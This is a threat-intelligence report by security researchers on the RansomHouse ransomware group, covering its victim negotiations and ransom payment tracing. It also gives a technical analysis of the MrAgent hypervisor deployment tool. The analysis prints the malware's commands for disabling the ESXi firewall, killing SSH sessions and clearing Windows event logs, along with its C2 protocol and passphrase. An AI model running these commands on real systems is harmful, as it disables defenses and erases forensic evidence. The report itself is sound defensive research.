RansomHouse am See

By Pham Duy Phuc and Max Kersten (Trellix), in collaboration with Noël Keijzer and Michaël Schrijver (Northwave)

Ransom gangs make big bucks by extorting victims, which sadly isn’t new. Their lucrative business allows them not only to live off the stolen money, but also to reinvest into their shady practice. This blog will focus on a clear example of such a reinvestment made by a threat actor, a tool dubbed MrAgent that is used to support automated deployment of ransomware at scale. Prior to diving into the technical analysis that shows you how the tool works, we’ll share an overview of the responsible ransomware gang, Ransomhouse. We also share excerpts of a negotiation between RansomHouse and a victim, to show the methods the criminals use to put pressure on their victim, which is already under duress, given their ransomed environment. Hereafter we will show exactly what functionality is available in the newly-developed tool, and how it is used to deploy ransomware to (potentially) hundreds of hypervisors at the same time.

Ransomwho?

The RansomHouse group, identified as a Ransomware-as-a-Service (RaaS), emerged in late 2021 and has been active in deploying ransomware variants to exploit corporate networks. The group extorts its victims twice, first by encrypting their files and demanding a ransom, and second by naming and shaming non-paying victims on their blog, along with which they publish the stolen data from the victim. Their tactics, techniques, and procedures (TTPs) show a mature and sophisticated level of execution, leveraging content delivery network (CDN) servers for exfiltration, and utilizing a Tor-based chat room for victim negotiations. This group tries to differentiate itself from typical ransomware operators by cultivating an image of a "professional mediator community".

This group is identified for using a unique ransomware variant, dubbed Mario ESXi, along with MrAgent, to target both Windows and Linux based systems. The ransomware shares code with Babuk, which becomes apparent when reversing both samples. Given Babuk’s source code leak, it was only a matter of time until “forks” and/or derivations of the leaked ransomware family would appear.

Double extortion blog

The RansomHouse group’s Tor-based chat room to communicate with victims offers two languages to chat in: English and Chinese. Additionally, a data leak blog is maintained, which lists victim details and exfiltrated data. This site also offers a FAQ/Rules section reflecting the group’s attempts to portray a professional image, and provides insights into their modus-operandi and communication methods. It appears that RansomHouse generates unique chat links for each victim, which is also visible by the number of unique live chat onion URLs we observed.

Figure 1 - Censored screenshot of the RansomHouse victim leak page

RansomHouse's negotiation platform

The RansomHouse group's sophisticated use of anonymized communication through a Tor-based chat room illustrates a typical modern cyber extortion operation. Their modus operandi involved randomized chat links for each victim, a tactic designed to evade tracking and add a layer of complexity to their operations.

Northwave’s white paper on the psychological impact of ransomware shows that the short and long term impact on individuals within the ransomed company is not to be underestimated. While the negotiation is often talked about in terms of number crunching regarding monetary gain for threat actors and a reason for companies to ensure their digital defensive measures are up to par, the aforementioned impact is often excluded from the conversation. The inclusion of the negotiation in this section is meant to show not only the general process, but also the emotions (and seemingly lack thereof from the attacker’s side) that come into play.

The chat room features multiple tabs including "Chat", “Language” and "Main Page," the latter displaying a countdown to press on the victims into paying the demanded ransom amount. Figure 2 - The main page of the leak site

The site’s languages can be switched between Chinese and English.

Figure 3 - The two supported languages on the site are English and Chinese

Looking at a (now removed) ransomware negotiation from Mario, the sample of which can be found here, we observed an interesting game of cat and mouse. The victim's initial contact with RansomHouse sets off a series of offers and counteroffers, with the ransom demand initially set at $2.56 million. The victim's eventual agreement to a $1.25 million ransom is about half of the initial demand.

Figure 4 - A part of the ransom payment negotiation

The threat actor eventually revealed the attack on the victim's network started with an exploit in CITRIX remote access software and VMware ESXi infrastructure. The attackers blamed weak monitoring and analysis systems, gaining system rights and domain user accounts, which allowed them to access and control the domain and deploy backdoors. They exploited vulnerabilities in the virtualisation servers and abused weak domain credentials, which were used for backup storage.

In line with their cultivated “professional mediator” image, the threat actors provided advice to avoid a recurrence of such an attack in the future. Their advice includes recommendations to implement zero trust principles, enhanced 2FA, discontinuing external accessible RDP and outdated SMB protocols, stronger password and account administration, segmenting networks, updating security systems, and regular red team testing to ensure security and prevent future breaches.

Timeline of Ransomware Negotiation

Figure 5 - The timeline of the negotations

The exfiltrated data was transferred to the MEGA file-sharing service. This consisted of fifty splitted zip archives, each one gigabyte in size, amounting to a total of 61.2 GB of compressed files. The Mega Pro account was logged from the IP address 64.52.80.118. The IP address falls under ISP BL Networks, based in the United States

Figure 6 - Information on the related Mega Pro account

Aside from the facts above, there are some key observations from the two-week-long negotiation. The partial decryption proof was provided, and the decryption tool was released directly after the final payment. The payments happened in two transactions, first a 0.1 BTC transaction, after which the second transaction contained the rest of the ransom demand, converted into BTC based on the exchange rate of that time. Lastly, RansomHouse shows some flexibility in the negotiation, while still coming out with more than a million dollars in ransom. The final agreement includes a non-disclosure agreement, along with data recovery with the provided decryptor. The negotiation conversation was eventually pruned from the Tor web page on 31 December 2023.

The ransom payment to RansomHouse was conducted in two stages. Initially, 0.1 BTC was sent to the address “1MmkNa1gRUmVSocZic8wJhehef8NW4GzDZ”. Following confirmation of this initial payment, the rest payment was requested. Blockchain analysis confirmed that a total of 29.86858000 BTC, approximately $1.25 million, was transferred to this address. On 12 December 2023, the funds were further split: approximately 30% (8.96037291 BTC) sent to “1GqGTYE2a9c14jegP1aK9Qj58gYyyt7Dxu”, likely to be the potential partner, and around 70% (20.90764614 BTC) to “bc1q93xvcqux2xl4n03985lyrh8w55et8tt60fcrmy”, possibly RansomHouse’s wallet. Subsequently, a portion of these funds was moved to “1A8snaAv9hSMycMRNznWPqtQWJApJpzntJ”, labeled with the BYBIT exchange platform by MetaSleuth, indicating a possible conversion to fiat or other cryptocurrencies.

Figure 7 - The Bitcoin transfers to their respective wallets

In a similar case of ransom extortion in mid-October 2023 where the sample of which can be found here. RansomHouse group exploited a vulnerability in a company leading to the unauthorized acquisition of around 60 GB of sensitive data, including personal information of customers. The initial ransom demand was set at $500,000. However, after a series of negotiations, the company agreed to pay $200,000. Contrary to usual cases where payment is made for data decryption, this amount was solely for the assurance of data deletion by the attackers. RansomHouse group utilized cloud storage service put.io, to upload the victim's data, and provided credentials to victim. An account under the username nesav33038 (nesav33038@nexxterp.com) was used to purchase 1TB of storage for 30 days, with payment made via Coinbase on November 18, 2023.

The ransom payment was transferred through two separate transactions to the Bitcoin wallet address "17voYysEw5NJbbT5TCQqsaTwbv4ZhmTPLa" on November 11, 2023. The initial transaction was a smaller amount of 0.1 BTC, followed by a second transaction for the remainder of the agreed ransom. The received funds were later distributed, with about 30% 1.61 BTC being transferred to the address "1EmHSXjSnixinVcKvCnECdneo11zTa2iJt," which probably belongs to a partner. The remaining 70% of the funds, approximately 3.75 BTC, were sent to another address "bc1qt0g6vcy4ycsxxcwdjq343j0zsgzymngzagqq2g," speculated to be the primary wallet of the RansomHouse group.

Figure 8 - More money transfers on the blockchain

Victims over time

Figure 9 - The attack timeline of RansomHouse

The RansomHouse group continued its operations in 2023, with activity spanning throughout the year. This year we observe a significant spike in March with 12 victims, while other months saw a steadier rate of two to five attacks.

Figure 10 - The top impacted countries by Ransomhouse, in the given timeframe

In 2022, RansomHouse notably targeted Italy, marking a significant trend in its operations with Italian entities suffering a substantial share of attacks. However, in 2023 the United States emerged as a primary target, suffering approximately 47.37% of all attacks. This trend highlights the group's focus on North American and Western European entities. Within this landscape, the Industrials and Technology sectors were most frequently targeted, comprising nearly 44.74% of RansomHouse's activities in 2023.

Figure 11 - The most impacted sectors by RansomHouse, during the given timeframe

The trend in the targeting of the RansomHouse group from 2022 to 2023 shows a slight difference in focus. In 2023, there's a increase in attacks on entities with annual revenues ranging from $10M to $50M, from just 1 in 2022 to 11 in 2023. The same increases apply to businesses which range from $1M to $500M revenue, suggesting a realignment towards medium-sized enterprises. However, there are not many attacks on the largest enterprises, indicating a possible shift in focus by the RansomHouse group towards more financially accessible targets.

Figure 12 - The estimated annual revenue of RansomHouse victims

Technical write-up

Summary

MrAgent is a binary designed to run on hypervisors, with the sole purpose of automating and tracking the deployment of ransomware across large environments with a high number of hypervisor systems. The binary connects back to a set of command & control servers, which need to be supplied as a command-line argument. On startup the agent creates a host identifier for the system, retrieves the local IP address and disables the firewall of the system. Subsequently the binary will start an infinite loop that will connect to each command & control server in a round-robin fashion, send out a heartbeat, and wait for commands. If a command is received, it is executed and the result is sent back to the command-and-control server.

The binary contains functionality to schedule and keep track of the deployment of a ransomware binary. Furthermore, the binary contains additional functionality to remotely fetch details of the hypervisor environment, including which Virtual Machines are running on the hypervisor and their attributes. The binary can also be used to locally execute commands on the hypervisor, remove files, drop all active (non-root) SSH sessions to the machine and change the welcome message displayed on the monitor of the hypervisor.

Technical analysis

The main analysis is done on a binary that seems to be pushed to ESXi systems. We also managed to identify a binary that is targeted at windows systems, which seems to contain nearly identical functionality. At the end of the analysis we will discuss noteworthy differences we identified in the Windows binary.

ESXi sample hash:
SHA256:8189c708706eb7302d7598aeee8cd6bdb048bf1a6dbe29c59e50f0a39fd53973
Windows sample hash:
SHA256: bfc9b956818efe008c2dbf621244b6dc3de8319e89b9fa83c9e412ce70f82f2c

Control flow

The binary is launched with command-and-control servers as command line arguments. E.g. "./mragent 192.168.0.1:1337,192.168.0.2:1337". On startup the binary performs the following tasks:

1. Create a host identifier (HOSTID) for the system, in the following format “Hostname-MAC”. The hostname is retrieved by executing the command “uname -a”. The MAC address is retrieved by executing the command “esxcli --formatter=csv network nic list”. If esxcli is not available, the binary will use ioctl calls against a socket object to retrieve the MAC address.
2. Retrieve the local IP address. If esxcli is available this is done by executing the command “esxcli --formatter=csv network ip interface ipv4 get”. If esxcli is not available, the ip address is retrieved by using an ioctl call against a socket object.
3. Disable the ESXi firewall by executing the command “esxcli network firewall set --enabled false”

After the startup tasks, the binary enters an infinite loop in which it carries out the following tasks:

1. Socket connect to command-and-control server
2. Send heartbeat
3. Receive and execute a command or send back command output to command-and-control server

Internally MrAgent maintains two JSON structures. One containing the current configuration and another containing the current status. Access to these structures is protected by mutex. Results from threads spawned are communicated back to the C2 thread using this mechanism, but threads also directly send messages on the C2 socket.

Command & control protocol

Messages to and from the command & control server are transmitted as JSON encoded strings with a zero-byte terminator. On establishing a connection the binary will first send a passphrase to the C2 server. This again is terminated with a zero. The passphrase used in this sample was “FASF)@#$#k”.

The binary will periodically send out heartbeat messages (as mentioned above). These heartbeat messages are formatted as follows:

{
     "type":    "heartbeat",
     "id": "HOSTID"
}

The binary accepts commands from the command & control server in the following format:

{
     "type":    COMMAND,
}

{
     "type":         "TYPE",
     "id":      "HOSTID",
     "taskReply":    "accepted"
}

Certain tasks that are expected to run for a while are run in a new thread (“info”, “exec”, “run”). If there is already a running thread when such a task is received, the binary will refuse to start a new thread and return “cancelled” as the value for the “taskReply” field.

Commands

The binary contains functionality to execute different commands received from the command-and-control servers. These commands will be described in this section.

Info

This command will retrieve some information about the ESXi host and send it back to the command-and-control server.

Config

The binary keeps track of a local configuration, which is used to configure the ransomware deployment on the hypervisor. This configuration can be overwritten using the config command, containing a new configuration which needs to be supplied in the request. A typical configuration can contain the following fields:

Exec

This command is used to start the actual ransomware deployment.

When configured to do so; the binary will start by changing the root password of the local hypervisor. Subsequently the binary will disable vCenter remote management by executing “/etc/init.d/vpxa stop”.

After disabling remote management, the following command is executed, which we believe is intended to drop all non-root ssh sessions on the machine:

“ps | grep sshd | grep -v -e grep -e root -e 12345 | awk {print "kill -9", $2} | sh”

Hereafter the binary will start encryption of virtual machines. This is done in iterations, in each iteration the binary attempts to shut down all VMs and subsequently encrypt them. We believe this was most likely done in iterations to increase the amount of VMs that end up being encrypted. The default amount of iterations is 1, but can be changed using the config command.

An empty message is sent to the C2 every 3 seconds, if no other messages are sent.

Run

This command is used to run arbitrary commands on the ESXi host. The command supplied will be written to the file “./shmv”. This file is subsequently executed.

Figure 13 - MrAgent uses the ‘shmv’ file for execution of commands

We are unsure why the author of the binary opted to write the commands to a file instead of just executing them directly. It seems to indicate that the binary was written by someone with limited programming knowledge.

Remove

This command is used to remove a file from the ESXi host by executing the OS command “rm -rf FILE”. For some reason the author opted to directly run the command in this case (as opposed to writing it to a file again), which can be seen in the figure below.

Figure 14 - Direct execution of the ‘rm -rf’ command

Abort

This command is used to abort the start of encryption on the hypervisor whilst it is still in the delay phase.  

Abort_f

This command is used to kill threads spawned by mrAgent, for different types of tasks.

Quit

This command is used to kill and remove the binary. Just like the remove command it spawns “rm -f” for the deletion.

Welcome

This command is used to set the ESXi welcome message on the host (what you see when you connect a monitor to the physical ESXi machine) by executing the command “esxcli system welcomemesg set -m="WELCOMEMSG"”

Windows binary differences

We identified a separate binary, compiled for Windows operating systems instead of ESXi. It seems the source code for the binaries was the same. The binary generally contained the same control flow, logic and command & control protocol as the ESXi binary. However, some of the functionality that is exclusive to ESXi has been removed, and other functionality has been implemented using PowerShell. These differences are listed below.

The following functionalities have been removed from the Windows binary:

• Functionality to disable the local firewall
• Functionality to drop SSH sessions
• Functionality to change system password
• Functionality to change the Welcome message
• Functionality to kill and remove the binary

The following functionalities were adapted in the Windows binary:

• Abort_f logic calls TerminateProcess and Abort logic seems to do nothing
• Functionalities for Run and RunProcess are implemented with a popen syscall

Finally, several functions in the binary were replaced by PowerShell alternatives:

• Status updates for encryption are fetched using the following commands:

powershell.exe -nop -c " Get-ChildItem %s -Filter *.mario,*wmario,*lmario,*emario,*nmario,*mmario -Recurse -File | Measure-Object | %%{$_.Count}"

powershell.exe -nop -c " Get-ChildItem %s -Exclude *.exe,*.dll -
Recurse -File
| Measure-Object | %%{$_.Count}"

powershell.exe -nop -c " (get-psdrive -psprovider filesystem
| select Name, @{Name='Used';Expression={'{0:n2}GB' -f
($_.Used/1GB)}}, Root
| convertto-csv -delimiter "`t" -notype) -replace '\"', ''"}

• Files are removed with the following command:

powershell.exe -nop -c "Remove-Item Path %s"

• Windows event logs are cleared using the following command:

powershell.exe -nop -c "wevtutil el | Foreach-Object {wevtutil cl $_}"

• Hostname, MAC and IP address are fetched using powershell:

powershell.exe -nop -c "[System.Net.Dns]::GetHostName()"

powershell.exe -nop -c "Get-WmiObject
win32_networkadapterconfiguration
| where macaddress -ne $null | select macaddress"

powershell.exe -nop -c "(Get-NetIPAddress -AddressFamily IPv4
| select IPAddress | out-string).Trim()"

 Conclusion

In conclusion, the RansomHouse group's tools pose a substantial threat, not only to Windows-based machines within a corporate network, as is shown by the Linux based tooling. Their organized approach to negotiations and their data leak blog demonstrate a sophisticated modus operandi. Additionally, the efforts to (further) automate the steps that are otherwise often executed manually, shows both the interest and willingness of the attacking affiliate to target large networks.

Defenders are encouraged to learn from the modus operandi of threat actors, and to optimize their security perimeter to both account and handle such attack attempts. More information on the specific files is given below the tactics, techniques, and procedures.

Tactics, Techniques, and Procedures

This document and the information contained herein describes computer security research for educational purposes only and the convenience of Trellix customers.

Appendices

Appendix A - Indicators of Compromise

MrAgent:

8189c708706eb7302d7598aeee8cd6bdb048bf1a6dbe29c59e50f0a39fd53973

bfc9b956818efe008c2dbf621244b6dc3de8319e89b9fa83c9e412ce70f82f2c

Mario:

3934b3da6bad0b4a28483e25e7bab919d7ed31f2f51cca22c56535b9f8183a0e

afe398e95a75beb4b0508c1bbf7268e8607d03776af0b68386d1e2058b374501

2c1a4fe4a2ac4f0a49052f9521458136eb477fe23665dc4b7076fbd32de3005d 2c1475f1b49a8b93a6c6217be078392925535e084048bf04241e57a711f0f58e

0a77e537c64336f97a04020e59d17d09d459d1626a075878e2b796d1e1033038

d36afcfe1ae2c3e6669878e6f9310a04fb6c8af525d17c4ffa8b510459d7dd4d

Appendix B - Detection signatures

Appendix C - Example Command & Control requests Info

Example c2 request:

{
     "type": "info"

}

Example response:

{
     "type":         "info",
     "id":      "localhost+08:00:27:ac:4b:55",
     "taskId":  "(null)",
     "taskReply":    "completed",
     "data":   
      {
          "config": 
          {
                "host":   
                {                               
                     "startIn": 0,                               
                     "pass":         "undefined",                               
                     "command": "undefined",                             
                     "command": "",                             
                     "args":    []
                },
                "vms":   
                [{                            
                    "name":    "test",                               
                    "folder": 
"/vmfs/volumes/636659ac-e9b802a2-5a82-080027ac4b55/test",                               
                    "priority":     2,                              
                    "group":   0                      
                 }]
           },
           "status":
           {
                "errors":  [],
                "ip": "192.168.56.10",                     
                "hostType":     1,                     
                "progress":           -1,                     
                "startsIn":           -1,                     
                "runIterations":      1,                     
                "currentRunIteration":     1,                     
                "passchange":         "",                     
                "dropsess":           false,                     
                "welcomeset":         false,                     
                "rmlogs":       false,
                "vms":   
                [{                               
                     "name":    "test",                               
                     "folder":
"/vmfs/volumes/636659ac-e9b802a2-5a82-080027ac4b55/test",                               
                    "datastoreMountPoint":     "/vmfs/volumes/636659ac-e9b802a2-5a82-080027ac4b55",                               
                    "datastoreName": "datastore1",                               
                    "datastoreSize": "1.5G",                               
                    "done":               0,                               
                    "total":              3,                               
                    "processId":          "",                               
                    "online":       false,                               
                    "errors":       [],                               
                    "files":  
                    [{                               
                          "name":    "test-flat.vmdk",                               
                          "state":        0
                    }, {                              
                           "Name":    "test.vmdk",                               
                           "state":        0                               
                    }, {                              
                           "name":    "test.vmsd",                              
                           "state":   0
                    }]
                }]
          }
      }
}

Exec

Example c2 request:

{
     "type": "exec",
     "config": 
     {
         "host":
         {
                   "command": "/tmp/encrypter.sh"
         }
     }
}

Run

Example c2 request:

{
     "type": "run",
     "config": 
     {
         "host":
         {
                   "command": "uname -a"
         }
     }
}

Example c2 response:

{

  "type": "info",
  "id": "localhost+08:00:27:ac:4b:55",
  "taskId": "(null)",
  "taskReply": "completed",
  "data": 
  {
     "config": 
     {
         "host": 
         {
              "command": "uname -a",
              "startIn": 0,
              "pass": "undefined", 
              "command": "",
              "args": []
         },
         "vms": 
         [{
              "name": "test",
              "folder": "/vmfs/volumes/636659ac-e9b802a2-5a82-080027ac4b55/test",
              "priority": 2,
              "group": 0
         }]
     },
     "status": 
     {
         "progress": -1,
         "runIterations": 1,
         "currentRunIteration": 1,
         "dropsess": false,
         "welcomeset": false,
         "errors": 
         [{
              "step": "",
              "desc": 
"VMkernel localhost 6.7.0 #1 SMP Release build-15160138 Nov 22 2019 20:49:31 x86_64 x86_64 x86_64 ESXi\n"
         }],
         "Ip": "192.168.56.10",
         "hostType": 1,
         "startsIn": -1,
         "passchange": "",
         "rmlogs": false,
         "vms": 
         [{
              "name": "test",
              "folder": "/vmfs/volumes/636659ac-e9b802a2-5a82-080027ac4b55/test",
              "datastoreMountPoint": "/vmfs/volumes/636659ac-e9b802a2-5a82-080027ac4b55",
              "datastoreName": "datastore1",
              "datastoreSize": "1.5G",
              "done": 0,
              "total": 3,
              "processId": "",
              "online": false,
              "errors": [], 
              "files": 
              [{
                    "name": "test-flat.vmdk",
                    "state": 0
              }, {
                    "name": "test.vmdk",
                    "state": 0
              }, {
                    "name": "test.vmsd",
                    "state": 0

              }]

         }]
     }

  }

}

Remove

Example c2 request:

{
     "type": "remove",
     "args": ["/tmp/test"]
}

Abort

Example c2 request:

 {
     "type": "abort",
 }

Abort_f

Example c2 request:

 {
     "type": "abort_f",
 }

Quit

Example c2 request:

{
     "type": "quit"
}

Welcome

Example c2 request:

{
     "type": "quit",
     "config": 
     {
          "host":
          {
              "welcomeMsg": NEW-WELCOME-MESSAGE
          }
     }
}